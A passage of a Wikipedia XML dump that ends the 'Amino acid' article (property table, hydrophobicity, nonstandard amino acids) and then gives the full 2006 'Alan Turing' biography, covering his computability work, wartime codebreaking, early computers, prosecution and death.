| align=&quot;left&quot; | [[Glutamate]]
| Glu, E
| -CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;COOH
| -
| X
| negative
| -
| -
| -
| align=&quot;center&quot; | 109
| GAA, GAG
| align=&quot;center&quot; | 6.3
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Phenylalanine]]
| Phe, F
| -CH&lt;sub&gt;2&lt;/sub&gt;C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;
| X
| -
| -
| -
| -
| [[Aromaticity|Aromatic]]
| align=&quot;center&quot; | 135
| UUU, UUC
| 3.9
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Glycine]]
| Gly, G
| -H
| X
| -
| -
| X
| X
| -
| align=&quot;center&quot; | 48
| GGU, GGC, GGA, GGG
| 7.2
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Histidine]]
| His, H
| -CH&lt;sub&gt;2&lt;/sub&gt;-[[imidazole|C&lt;sub&gt;3&lt;/sub&gt;H&lt;sub&gt;3&lt;/sub&gt;N&lt;sub&gt;2&lt;/sub&gt;]]
| -
| X
| positive
| -
| -
| [[Aromaticity|Aromatic]]
| align=&quot;center&quot; | 118
| CAU, CAC
| 2.3
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Isoleucine]]
| Ile, I
| -CH(CH&lt;sub&gt;3&lt;/sub&gt;)CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;
| X
| -
| -
| -
| -
| [[Aliphatic]]
| align=&quot;center&quot; | 124
| AUU, AUC, AUA
| 5.3
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Lysine]]
| Lys, K
| -(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;4&lt;/sub&gt;NH&lt;sub&gt;2&lt;/sub&gt;
| -
| X
| positive
| -
| -
| -
| align=&quot;center&quot; | 135
| AAA, AAG
| 5.9
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Leucine]]
| Leu, L
| -CH&lt;sub&gt;2&lt;/sub&gt;CH(CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;
| X
| -
| -
| -
| -
| [[Aliphatic]]
| align=&quot;center&quot; | 124
| UUA, UUG, CUU, CUC, CUA, CUG
| 9.1
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Methionine]]
| Met, M
| -CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;[[Sulfur|S]]CH&lt;sub&gt;3&lt;/sub&gt;
| X
| -
| -
| -
| -
| -
| align=&quot;center&quot; | 124
| AUG
| 2.3
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Asparagine]]
| Asn, N
| -CH&lt;sub&gt;2&lt;/sub&gt;CONH&lt;sub&gt;2&lt;/sub&gt;
| -
| X
| -
| X
| -
| -
| align=&quot;center&quot; | 96
| AAU, AAC
| 4.3
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Proline]]
| Pro, P
| -CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;-
| X
| -
| -
| X
| -
| -
| align=&quot;center&quot; | 90
| CCU, CCC, CCA, CCG
| 5.2
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Glutamine]]
| Gln, Q
| -CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CONH&lt;sub&gt;2&lt;/sub&gt;
| -
| X
| -
| -
| -
| -
| align=&quot;center&quot; | 114
| CAA, CAG
| 4.2
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Arginine]]
| Arg, R
| -(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;NH-C(NH)NH&lt;sub&gt;2&lt;/sub&gt;
| -
| X
| positive
| -
| -
| -
| align=&quot;center&quot; | 148
| CGU, CGC, CGA, CGG, AGA, AGG
| 5.1
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Serine]]
| Ser, S
| -CH&lt;sub&gt;2&lt;/sub&gt;OH
| -
| X
| -
| X
| X
| -
| align=&quot;center&quot; | 73
| UCU, UCC, UCA, UCG, AGU,AGC
| 6.8
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Threonine]]
| Thr, T
| -CH(OH)CH&lt;sub&gt;3&lt;/sub&gt;
| X
| X
| -
| X
| -
| -
| align=&quot;center&quot; | 93
| ACU, ACC, ACA, ACG
| 5.9
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Valine]]
| Val, V
| -CH(CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;
| X
| -
| -
| X
| -
| [[Aliphatic]]
| align=&quot;center&quot; | 105
| GUU, GUC, GUA, GUG
| 6.6
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Tryptophan]]
| Trp, W
| -CH&lt;sub&gt;2&lt;/sub&gt;[[indole|C&lt;sub&gt;8&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;N]]
| X
| -
| -
| -
| -
| [[Aromaticity|Aromatic]]
| align=&quot;center&quot; | 163
| UGG
| 1.4
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Tyrosine]]
| Tyr, Y
| -CH&lt;sub&gt;2&lt;/sub&gt;-C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;OH
| X
| X
| -
| -
| -
| [[Aromaticity|Aromatic]]
| align=&quot;center&quot; | 141
| UAU, UAC
| 3.2
|}

== Hydrophilic and hydrophobic amino acids ==
Depending on how [[polar molecule|polar]] the side chain, aminoacids can be [[hydrophilic]] or [[hydrophobic]] to various degree. This influences their interaction with other structures, both within the protein itself and within other proteins. The distribution of hydrophilic and hydrophobic aminoacids determines the [[tertiary structure]] of the protein, and their physical location on the outside structure of the proteins influences their [[quaternary structure]]. For example, soluble proteins have surfaces rich with polar aminoacids like [[serine]] and [[threonine]], while [[integral membrane protein]]s tend to have outer ring of hydrophobic aminoacids that anchors them to the [[lipid bilayer]], and proteins anchored to the membrane have a hydrophobic end that locks into the membrane. Similarly, proteins that have to bind to positive-charged molecules have surfaces rich with negatively charged aminoacids like glutamate and aspartate, while proteins binding to negative-charged molecules have surfaces rich with positively charged chains like lysine and arginine.

Hydrophilic and hydrophobic interactions of the proteins do not have to rely only on aminoacids themselves. By various [[posttranslational modification]]s other chains can be attached to the proteins, forming hydrophobic [[lipoprotein]]s or hydrophylic [[glycoprotein]]s.

== Nonstandard amino acids ==
Aside from the twenty standard amino acids and the two special amino acids, [[selenocysteine]] and [[pyrrolysine]], already mentioned above, there is a vast number of &quot;nonstandard amino acids&quot; which are not used in the body's regular manufacturing of proteins. Examples of nonstandard amino acids include the [[sulfur]]-containing [[taurine]] and the neurotransmitters [[GABA]] and [[dopamine]]. Other examples are [[lanthionine]], [[2-aminoisobutyric acid]], [[dehydroalanine]], [[dehydro-amino-butyric acid]], 

Nonstandard amino acids are usually formed through modifications to standard amino acids. For example, taurine can be formed by the [[decarboxylation]] of cysteine, while dopamine is synthesized from tyrosine and [[hydroxyproline]] is made by a [[posttranslational modification]] from [[proline]].

==Uses of substances derived from amino acids==
* [[Aspartame]] (aspartyl-phenylalanine-1-methyl ester) is an artificial sweetener.
* [[5-HTP]] (5-hydroxytryptophan) has been used to treat neurological problems associated with [[PKU]] (phenylketonuria), as well as depression (as an alternative to L-Tryptophan).
* [[L-DOPA]] (L-dihydroxyphenylalanine) is a drug used to treat [[Parkinsonism]].
* [[Monosodium glutamate]] is a [[food additive]] to enhance flavor.

==See also==
*[[Essential amino acids]]
*[[Strecker amino acid synthesis]]

==References==
*Doolittle, R.F. (1989) Redundancies in protein sequences. In ''Predictions of Protein Structure and the Principles of Protein Conformation'' (Fasman, G.D. ed) Plenum Press, New York, pp. 599-623
*David L. Nelson and Michael M. Cox, ''Lehninger Principles of Biochemistry'', 3rd edition, 2000, Worth Publishers, ISBN 1572591536
* [http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6T36-3XB0N6H-H&amp;_coverDate=09%2F10%2F1999&amp;_alid=241945989&amp;_rdoc=1&amp;_fmt=&amp;_orig=search&amp;_qd=1&amp;_cdi=4938&amp;_sort=d&amp;view=c&amp;_acct=C000050221&amp;_version=1&amp;_urlVersion=0&amp;_userid=10&amp;md5=3cb10a335716303532fc517906a12b3a On the hydrophobic nature of cysteine.]

==External links==
* [http://micro.magnet.fsu.edu/aminoacids/index.html Molecular Expressions: The Amino Acid Collection] - Has detailed information and microscopy photographs of each amino acid.
*[http://researchnews.osu.edu/archive/aminoacd.htm 22nd amino acid] - Press release from Ohio State claiming discovery of a 22nd amino acid.

[[Category:Amino acids]]
[[Category:Nitrogen metabolism]]

[[th:กรดอะมิโน]]
[[bg:Аминокиселина]]
[[ca:Aminoàcid]]
[[cs:Aminokyselina]]
[[da:Aminosyre]]
[[de:Aminosäuren]]
[[et:Aminohapped]]
[[es:Aminoácido]]
[[eo:Aminoacido]]
[[fa:اسیدهای آمینه]]
[[fr:Acide aminé]]
[[gl:Aminoácido]]
[[ko:아미노산]]
[[io:Amin-acido]]
[[it:Amminoacidi]]
[[he:חומצת אמינו]]
[[lt:Aminorūgštis]]
[[lv:Aminoskābe]]
[[lb:Aminosaier]]
[[hu:Aminosav]]
[[mk:Амино киселина]]
[[nl:Aminozuur]]
[[ja:アミノ酸]]
[[no:Aminosyre]]
[[nn:Aminosyre]]
[[pl:Aminokwas]]
[[pt:Aminoácido]]
[[ru:Аминокислоты]]
[[sl:Aminokislina]]
[[sr:Аминокиселина]]
[[su:Asam amino]]
[[fi:Aminohappo]]
[[sv:Aminosyra]]
[[th:กรดอะมิโน]]
[[tr:Aminoasit]]
[[uk:Амінокислота]]
[[zh:氨基酸]]</text>
    </revision>
  </page>
  <page>
    <title>Alan Turing</title>
    <id>1208</id>
    <revision>
      <id>41467421</id>
      <timestamp>2006-02-27T15:22:09Z</timestamp>
      <contributor>
        <username>GilliamJF</username>
        <id>506179</id>
      </contributor>
      <comment>/* Turing in fiction */ dab agent</comment>
      <text xml:space="preserve">[[Image:Alan Turing.jpg|thumb|200px|right|Alan Turing is often considered the father of modern [[computer science]].]]
'''Alan Mathison Turing''' ([[June 23]], [[1912]] &amp;ndash; [[June 7]], [[1954]]) was a [[United Kingdom|British]] [[mathematician]], [[logician]], and [[cryptographer]]. Turing is often considered to be a father of modern [[computer science]].

With the [[Turing Test]], Turing made a significant and characteristically provocative contribution to the debate regarding [[artificial intelligence]]: whether it will ever be possible to say that a machine is [[consciousness|conscious]] and can [[thought|think]]. He provided an influential formalisation of the concept of [[algorithm]] and computation with the [[Turing machine]], formulating the now widely accepted &quot;Turing&quot; version of the [[Church–Turing thesis]], namely that any practical computing model has either the equivalent or a subset of the capabilities of a Turing machine.
During [[World War II]], Turing worked at [[Bletchley Park]], Britain's [[cryptanalysis|codebreaking]] centre and was for a time head of [[Hut 8]], the section responsible for German Naval cryptanalysis.  He devised a number of techniques for breaking German ciphers, including the method of the [[bombe]], an electromechanical machine which could find settings for the [[Enigma machine]].

After the war, he worked at the [[National Physical Laboratory]], creating one of the first designs for a stored-program computer, although it was never actually built. In 1947 he moved to the [[Victoria University of Manchester|University of Manchester]] to work, largely on software, on the [[Manchester Mark I]] then emerging as one of the world's earliest true computers.

In [[1952]], Turing was convicted of acts of gross indecency after admitting to a sexual relationship with a man in Manchester. He was placed on probation and required to undergo [[hormone therapy]]. When Alan Turing died in [[1954]], an inquest found that he had committed suicide by eating an apple laced with [[cyanide]].

== Childhood and youth ==
Turing was conceived in 1911 in Chatrapur, [[India]]. His father, Julius Mathison Turing, was a member of the Indian civil service. Julius and wife Ethel (''née'' Stoney) wanted Alan to be brought up in [[United Kingdom|Britain]], so they returned to [[Paddington]], [[London]]. His father's civil service commission was still active, and during Turing's childhood years his parents travelled between [[Guildford]], [[England]] and [[India]], leaving their two sons to stay with friends in England, rather than risk their health in the British colony. Very early in life, Turing showed signs of the genius he was to display more prominently later. He is said to have taught himself to read in three weeks, and to have shown an early affinity for numbers and puzzles.

His parents enrolled him at St. Michael's, a day school, at six years of age. The headmistress recognized his genius early on, as did many of his subsequent educators. In 1926, at the age of 14, he went on to [[Sherborne School]] in [[Dorset]]. His first day of term coincided with a [[general strike]] in England, and so determined was he to attend his first day that he rode his bike unaccompanied over sixty miles from [[Southampton]] to school, stopping overnight at an [[inn]] &amp;mdash; a feat reported in the local press.

Turing's natural inclination toward mathematics and science did not earn him respect with the teachers at Sherborne, a famous and expensive [[public school (England)|public school]] (a British private school with charitable status), whose definition of education placed more emphasis on the [[classics]]. His headmaster wrote to his parents: &quot;I hope he will not fall between two schools. If he is to stay at Public School, he must aim at becoming ''educated''. If he is to be solely a ''Scientific Specialist'', he is wasting his time at a Public School&quot;.{{rf|1|Hodges.26}}

But despite this, Turing continued to show remarkable ability in the studies he loved, solving advanced problems in 1927 without having even studied elementary [[calculus]]. In 1928, aged sixteen, Turing encountered [[Albert Einstein]]'s work; not only did he grasp it, but he extrapolated Einstein's questioning of [[Newton's laws of motion]] from a text in which this was never made explicit.

[[Image:KingsCollegeChapel.jpg|thumb|320px|The computer room at King's is now named after Turing, who became a student there in 1931 and a Fellow in 1935.]]

Turing's hopes and ambitions at school were raised by his strong feelings for his friend Christopher Morcom, with whom he fell in love, though the feeling was not reciprocated. Morcom died only a few weeks into their last term at Sherborne, from complications of [[bovine]] [[tuberculosis]], contracted after drinking infected cow's milk as a boy. Turing was heart-broken.

== University and his work on computability ==
Due to his unwillingness to work as hard on his classical studies as on science and mathematics, Turing failed to win a scholarship to [[Trinity College, Cambridge]], and went on to the college of his second choice, [[King's College, Cambridge]]. He was an undergraduate from 1931 to 1934, graduating with a distinguished degree, and in 1935 was elected a Fellow at King's on the strength of a dissertation on the Gaussian [[error function]].

[[Image:Turingbus.jpg|thumb|320px|Alan Turing, on the steps of the bus, with members of the Walton Athletic Club, 1946.]]
In his momentous paper &quot;On Computable Numbers, with an Application to the Entscheidungsproblem&quot; (submitted on [[May 28]], [[1936]]), Turing reformulated [[Kurt Gödel]]'s [[1931]] results on the limits of proof and computation, substituting Gödel's universal arithmetics-based formal language by what are now called [[Turing machine]]s, formal and simple devices. He proved that such a machine would be capable of performing any conceivable mathematical problem if it were representable as an [[algorithm]], even if no actual Turing machine would be likely to have practical applications, being much slower than alternatives.

Turing machines are to this day the central object of study in [[computation|theory of computation]]. He went on to prove that there was no solution to the ''[[Entscheidungsproblem]]'' by first showing that the [[halting problem]] for Turing machines is uncomputable: it is not possible to algorithmically decide whether a given Turing machine will ever halt. While his proof was published subsequent to [[Alonzo Church]]'s equivalent proof in respect to his [[lambda calculus]], Turing's work is considerably more accessible and intuitive. It was also novel in its notion of a &quot;Universal (Turing) Machine,&quot; the idea that such a machine could perform the tasks of any other machine. The paper also introduces the notion of [[definable number]]s.

Most of 1937 and 1938 he spent at [[Princeton University]], studying under Alonzo Church. In 1938 he obtained his [[Doctor of Philosophy|Ph.D.]] from Princeton; his dissertation introduced the notion of [[hypercomputation]] where Turing machines are augmented with so-called [[oracle machine|oracles]], allowing a study of problems that cannot be solved algorithmically.

Back in Cambridge in 1939, he attended lectures by [[Ludwig Wittgenstein]] about the [[foundations of mathematics]]. The two argued and disagreed vehemently, with Turing defending formalism and Wittgenstein arguing that mathematics is overvalued and does not discover any absolute truths (Wittgenstein 1932/1976).

== Cryptanalysis ==
[[Image:Bombe-rebuild.jpg|thumbnail|300px|Replica of a bombe machine]]
During [[World War II]], Turing was a major participant in the efforts at [[Bletchley Park]] to break German ciphers. Turing's codebreaking work was kept secret until the [[1970s]]; not even his close friends knew about it. He contributed several mathematical insights into breaking both the [[Enigma machine]] and the [[Lorenz SZ 40/42]] (a teletype cipher attachment codenamed &quot;Tunny&quot; by the British), and was, for a time, head of Hut 8, the section responsible for reading German Naval signals.

[[Image:Turing_flat.jpg|thumb|240px|left|Two cottages in the stable yard at Bletchley Park. Turing worked here from 1939&amp;ndash;1940 until he moved to Hut 8.]]
Since September 1938, Turing had been recruited to work part-time for the [[Government Code and Cypher School]]. Turing reported to [[Bletchley Park]] when war was declared in September 1939. To break Enigma, Turing devised an electromechanical machine which searched for the correct settings of the Enigma rotors.

The machine was called the [[bombe]], named after the Polish-designed ''[[Bomba (cryptography)|bomba]]''. Using a bombe, it was possible to ignore the effect of the Enigma plugboard and consider the settings of its rotors alone, and eliminate most of them from consideration. For each possible setting, a chain of logical deductions was implemented electrically, and it was possible to detect when a contradiction had occurred and rule out that setting. Turing's bombe was first installed on [[18 March]] [[1940]], and, with an enhancement suggested by mathematician [[Gordon Welchman]], was the primary tool used to read Enigma traffic. Over 200 bombes were in operation by the end of the war.

In December 1940, Turing solved the naval Enigma indicator system, which was more complex than the indicator systems used by the other services. Turing also invented a [[Bayesian]] statistical technique termed &quot;[[Banburismus]]&quot; to assist in breaking Naval Enigma. Banburismus could rule out certain orders of the Enigma rotors, reducing time needed to test settings on the bombes. Against the Lorenz cipher, Turing devised a technique termed ''Turingismus'' or ''Turingery'', although other methods were also used.

In the spring of 1941, Turing proposed marriage to fellow Hut 8 co-worker [[Joan Clarke]], although the engagement was broken off by mutual agreement in the summer.

In late November 1942, Turing visited the US to work on [[secure speech]] devices and Naval Enigma, returning in March 1943. During his absence, [[Conel Hugh O'Donel Alexander|Hugh Alexander]] had assumed the position of head of Hut 8, although Alexander had been ''de facto'' head for some time, Turing having little interest in the day-to-day running of the section. Turing became a general consultant for cryptanalysis at Bletchley Park.

In the latter part of the war, teaching himself electronics at the same time, Turing undertook (assisted by engineer [[Donald Bayley]]) the design of a portable machine codenamed ''[[Delilah (secure speech)|Delilah]]'' to allow [[secure voice]] communications. Intended for different applications, Delilah lacked capability for use with long-distance radio transmissions, and  was completed too late to be used in the war. Though Turing demonstrated it to officials by encrypting/decrypting a recording of a [[Winston Churchill]] speech, Delilah was not adopted for use.

In 1945, Turing was awarded the [[Order of the British Empire|OBE]] for his sterling wartime services.

== Early computers and the Turing Test ==
[[Image:Turingrunning.jpeg|frame|left|Turing achieved world-class [[Marathon (sport)|Marathon]] standards. His best time of 2 hours, 46 minutes, 3 seconds, was only 11 minutes slower than the winner in the [[1948 Summer Olympics|1948 Olympic Games]].]]

From 1945 to 1947 he was at the [[National Physical Laboratory]], where he worked on the design of [[ACE (computer)|ACE]] (Automatic Computing Engine).  He presented a paper on February 19, 1946, which was the first complete design of a [[Von Neumann architecture|stored-program computer]].  Although he succeeded in designing the ACE, there were delays in starting the project and he became disillusioned.  In late 1947 he returned to Cambridge for a 'sabbatical' year.  While he was at Cambridge, work on building the ACE stopped before it was ever begun.  In 1949 he became deputy director of the computing laboratory at the [[Victoria University of Manchester|University of Manchester]], and worked on software for one of the earliest true computers &amp;mdash; the [[Manchester Mark I]]. During this time he continued to do more abstract work, and in &quot;[[Computing machinery and intelligence]]&quot; (Mind, October 1950), Turing addressed the problem of [[artificial intelligence]], and proposed an experiment now known as the [[Turing test]], an attempt to define a standard for a machine to be called &quot;sentient&quot;.

In 1948, Turing, working with his former undergraduate colleague, [[D.G. Champernowne]], began writing a chess program for a computer that did not yet exist.  In 1952, lacking a computer powerful enough to execute the program, Turing played a game in which he simulated the computer, taking about half an hour per move. [http://www.chessgames.com/perl/chessgame?gid=1356927  The game] was recorded; the program lost to a colleague of Turing, [[Alick Glennie]], however, it is said that the program won a game against Champernowne's wife.

== Pattern formation and mathematical biology ==
Turing worked from 1952 until his death in 1954 on [[mathematical biology]], specifically [[morphogenesis]]. He published one paper on the subject called &quot;The Chemical Basis of Morphogenesis&quot; in 1952. His central interest in the field was understanding [[Leonardo of Pisa|Fibonacci]] phyllotaxis, the existence of [[Fibonacci number]]s in plant structures. He used reaction-diffusion equations which are now central to the field of [[pattern formation]]. Later papers went unpublished until 1992 when ''Collected Works of A.M. Turing'' was published.

== Prosecution for homosexuality and Turing's death ==

Turing was a homosexual man during a period when homosexuality was illegal. In 1952, his lover, Arnold Murray, helped an accomplice to break into Turing's house, and Turing went to the police to report the crime. As a result of the police investigation, Turing acknowledged a sexual relationship with Murray, and they were charged with gross indecency under [[Criminal_Law_Amendment_Act_of_1885#Section_11|Section 11]] of the Criminal Law Amendment Act of 1885.  Turing was unrepentant and was convicted. Although he could have been sent to prison, he was placed on probation, conditional on him undergoing [[hormone|hormonal]] [[chemical castration|treatment]] designed to reduce [[libido]]. He accepted the [[estrogen|oestrogen]] hormone injections, which lasted for a year, with side effects including the [[gynecomastia|development of breasts]]. His conviction led to a removal of his security clearance and prevented him from continuing consultancy for [[GCHQ]] on cryptographic matters.

In 1954, he died of [[cyanide]] [[poisoning]], apparently from a cyanide-laced apple he left half-eaten.  The apple itself was never tested for contamination with cyanide, and cyanide poisoning as a cause of death was established by a post-mortem. Most believe that his death was intentional, and the death was ruled a [[suicide]].  It is rumoured that this method of self-poisoning was in tribute to Turing's beloved film ''[[Snow White and the Seven Dwarfs (1937 film)|Snow White and the Seven Dwarfs]]''.  His mother, however, strenuously argued that the ingestion was accidental due to his careless storage of laboratory chemicals. Friends of his have said that Turing may have killed himself in this ambiguous way quite deliberately, to give his mother some plausible deniability.  The possibility of assassination has also been suggested, owing to Turing's involvement in the secret service and the perception of Turing as a security risk due to his homosexuality.

In the book, ''Zeroes and Ones'', author [[Sadie Plant]] speculates that the [[rainbow]] [[Apple Computer#Logo|Apple logo]] with a bite taken out of it was an homage to Turing.  This seems to be an [[urban legend]] as the Apple logo was designed in 1976, two years before Gilbert Baker's [[rainbow flag|rainbow pride flag]].

:''See also'': [[Sodomy law]], [[:Category:LGBT civil rights]]

== Recognition ==
Since 1966, the [[Turing Award]] has been given by the [[Association for Computing Machinery]] to a person for technical contributions to the computing community. It is widely considered to be the equivalent of the [[Nobel Prize]] in the computing world.

In 1994 a stretch of the [[Manchester]] city ring road was named Alan Turing Way.

On [[23 June]] [[1998]], on what would have been Turing's 86th birthday, [[Andrew Hodges]], his biographer, unveiled an official [[English Heritage]] [[Blue Plaque]] on his childhood home in Warrington Crescent, [[London]], now the Colonnade hotel [http://www.turing.org.uk/bio/oration.html], [http://www.blueplaque.com/detail.php?plaque_id=348].

[[Image:Alan Turing Memorial Closer.jpg|left|thumbnail|200px|Alan Turing memorial statue in Sackville Park]]
A [[Alan Turing Memorial|statue of Turing]] was unveiled in [[Manchester]]
&lt;!-- by [[English Heritage]] I am unsure whether this is true or not - the sculptor who made the statute was commissioned by the Alan Turing Memorial Fund
Seek http://www.btinternet.com/~glynhughes/sculpture/turing.htm --&gt;
on [[June 23]] [[2001]].  It is in [[Sackville Park]], between the [[University of Manchester]] building on Whitworth Street and the [[Canal Street, Manchester|Canal Street]] [[gay village]]. To mark the 50th anniversary of his death, a memorial plaque was unveiled at his former residence, Hollymeade, in Wilmslow on [[June 7]] [[2004]].
[[Image:Turing_Plaque.jpg|thumbnail|200px|Plaque marking Turing's home]]

The [[Alan Turing Institute]] was initiated by [[UMIST]] and [[Victoria University of Manchester|University of Manchester]] in Summer 2004.

A celebration of Turing's life and achievements was held at the [[Victoria University of Manchester|University of Manchester]] on [[5 June]] [[2004]]; it was arranged by the [[British Logic Colloquium]] and the [[British Society for the History of Mathematics]].

On [[October 28]] [[2004]] a bronze statue of Alan Turing sculpted by [[John W. Mills]] was unveiled at the [[University of Surrey]] [http://portal.surrey.ac.uk/press/oct2004/281004a/]. The statue marks the 50th anniversary of Turing's death. It portrays Turing carrying his books across the campus.

[[Holtsoft]] produces a [[Turing programming language|programming language]] named for Turing.  The language is designed for beginner programmers and has no direct access to the hardware.

The [[Polytechnic University of Puerto Rico]] named a computer laboratory for graduate studies the [[Turing Lab]].

== Turing biographies ==
* Andrew Hodges wrote a definitive biography ''Alan Turing: The Enigma'' in 1983 (see references below).
* The play ''Breaking the Code'' by Hugh Whitemore is about the life and death of Turing.  In the original [[West End]] and [[Broadway theatre|Broadway]] runs, the role of Turing was played by [[Derek Jacobi]], who also played Turing in a 1995 television adaptation of the play.
*{{cite book | author=Leavitt, David | title=The Man Who Knew Too Much: Alan Turing and the Invention of the Computer | publisher=New York: W. W. Norton | year=2005 | id=ISBN 0393052362}}

== Turing in fiction==
* Turing appears as a character in [[Neal Stephenson]]'s ''[[Cryptonomicon]]''.
* In another one of Stephenson's books, ''[[The Diamond Age]]'', there is an intuitive explanation of recursion, important to Turing's and related work on computability, put into the format of a child's book.
* &quot;Turing Police&quot; (Artificial Intelligence law enforcers) appear in [[William Gibson (novelist)|William Gibson]]'s ''[[Neuromancer]]''.
*In White Wolf Game Studio's [[World of Darkness]] role-playing universe, Turing was a leading member of the [[Mage: The Ascension|mage]] faction known as the [[Virtual Adepts]].
* An [[FBI]] [[Special agent|agent]] named Alan Turing made an appearance in the [[webcomic]] ''[[Questionable Content]]'' as a homage to Turing.
* Appears in ''[[Enigma (novel)|Enigma]]'' by [[Robert Harris]]
* A young Alan Turing introduces the title character to [[Kurt Gödel|Gödel]]'s first [[Gödel's incompleteness theorem|incompleteness theorem]] in [[Apostolos Doxiadis]]'s novel ''[[Uncle Petros and Goldbach's Conjecture]]''.
* In the 1989 ''[[Doctor Who]]'' serial ''[[The Curse of Fenric]]'', the character of Dr. Judson is based on Turing.  Turing himself is a narrator of the [[Doctor Who spin-offs#Original fiction|''Doctor Who'' spin-off]] [[Eighth Doctor Adventures|novel]] ''The Turing Test'' by Paul Leonard.
* [[Greg Egan]]'s novella, ''[http://gregegan.customer.netspace.net.au/MISC/ORACLE/Oracle.html Oracle]'', is about an alternate universe version of Turing
* In [[Arthur C. Clarke]]'s [[2010: Odyssey Two]], the sequel to [[2001: A Space Odyssey (novel)|2001: A Space Odyssey]], the stoic [[Dr. Chandra]], the programmer who created [[HAL 9000]], has a completely spartan cubicle except for a photo of Turing beside his computer screen.

== See also ==
* [[List of gay, lesbian or bisexual people]]
* [[Alan Turing's Unorganized Machines]]

== References ==
* {{MacTutor Biography|id=Turing|title=Alan Mathison Turing}}
* Copeland, B. Jack (2004) &quot;Colossus: Its Origins and Originators&quot;. ''[[IEEE Annals of the History of Computing]]'', 26(4):38&amp;ndash;45.
* Copeland, B. Jack (editor, 2004) ''[http://www.oup.co.uk/isbn/0-19-825079-7 The Essential Turing]''. [[Oxford University Press]], ISBN 0-19-825079-7 (hardback) and ISBN 0-19-825080-0 (paperback).
* Copeland, B. Jack (editor, 2005), ''[http://www.oup.co.uk/isbn/0-19-856593-3 Alan Turing's Automatic Computing Engine]''. [[Oxford University Press]],  ISBN 0-19-856593-3.
* Hodges, Andrew (1983/2000).  ''Alan Turing: The Enigma''. [[Simon &amp; Schuster]], 1983, ISBN 0-671-49207-1. Also: Walker Publishing Company, 2000.
* [[Christof Teuscher]] (editor 2004), ''Alan Turing: Life and Legacy of a Great Thinker''. [[Springer-Verlag]], ISBN 3540200207.
* Yates, David M. (1997) ''Turing's Legacy: A history of computing at the National Physical Laboratory 1945&amp;ndash;1995''. London: [[Science Museum, London|Science Museum]],  ISBN 0-901805-94-7.
* [[Ludwig Wittgenstein]] (1932/1976) ''Wittgenstein's Lectures on the Foundations of Mathematics (1932-1935)''.  Edited by Cora Diamond.  Cornell University Press.
* [http://www.nytimes.com/2005/12/18/books/review/18johnson.html Johnson, George (2005) &quot;Enigmatic&quot;]. New York Times Book Review (12/18/2005). Review of David Leavitt, &lt;cite&gt;The Man Who Knew Too Much: Alan Turing and the Invention of the Computer (2005)&lt;/cite&gt;. 
* [http://www.newyorker.com/critics/books/articles/060206crbo_books Holt, Jim (2006) &quot;CODE-BREAKER The life and death of Alan Turing.&quot;]. The New Yorker (1/30/2006). Review of David Leavitt, &lt;cite&gt;The Man Who Knew Too Much: Alan Turing and the Invention of the Computer (2005)&lt;/cite&gt;.

==Note==
{{ent|1|Hodges.26}} Hodges p. 26.

== External links ==
{{wikiquote}}
* [http://www.turing.org.uk/turing/ Alan Turing Home Page] by Andrew Hodges including a [http://www.turing.org.uk/bio/part1.html short biography]
* [http://www.alanturing.net/ AlanTuring.net Turing Archive for the History of Computing] by Jack Copeland
* [http://www.idsia.ch/~juergen/turing.html A short biography]
* [http://www.systemtoolbox.com/article.php?history_id=3  Alan Turing &amp;ndash; Towards a Digital Mind: Part 1]
* [http://www.loebner.net/Prizef/TuringArticle.html Computing machinery and intelligence] &amp;mdash; full text of article.
* [http://www.skyscraper.org.uk Skyscraper song inspired by Alan Turing]
* [http://www.5xm.com/turing/ Hollymeade unveiling of memorial plaque marking 50th anniversary of Turing's untimely death]
* [http://www.swintons.net/jonathan/turing.htm Alan Turing and morphogenesis]
* [http://www.turingarchive.org The Turing Archive]
* [http://www.teuscher.ch/turingday Turing Day 2002]
* [http://www.maths.man.ac.uk/logic/turing2004/ Turing 2004: A celebration of his life and achievements]
* [http://plato.stanford.edu/entries/turing/ Stanford Encyclopedia of Philosophy entry]
* [http://www.adeptis.ru/vinci/m_part1_2.html Photos]

{{Link FA|es}}

[[Category:1912 births|Turing, Alan]]
[[Category:1954 deaths|Turing, Alan]]
[[Category:20th century mathematicians|Turing, Alan]]
[[Category:20th century philosophers|Turing, Alan]]
[[Category:Alan Turing|Alan Turing]]
[[Category:Alumni of King's College, Cambridge|Turing, Alan]]
[[Category:British World War II veterans|Turing, Alan]]
[[Category:British computer scientists|Turing, Alan]]
[[Category:British cryptographers at Bletchley Park|Turing, Alan]]
[[Category:Computer designers|Turing, Alan]]
[[Category:Computer pioneers|Turing, Alan]]
[[Category:Computer scientists|Turing, Alan]]
[[Category:English inventors|Turing, Alan]]
[[Category:English mathematicians|Turing, Alan]]
[[Category:Fellows of the Royal Society|Turing, Alan]]
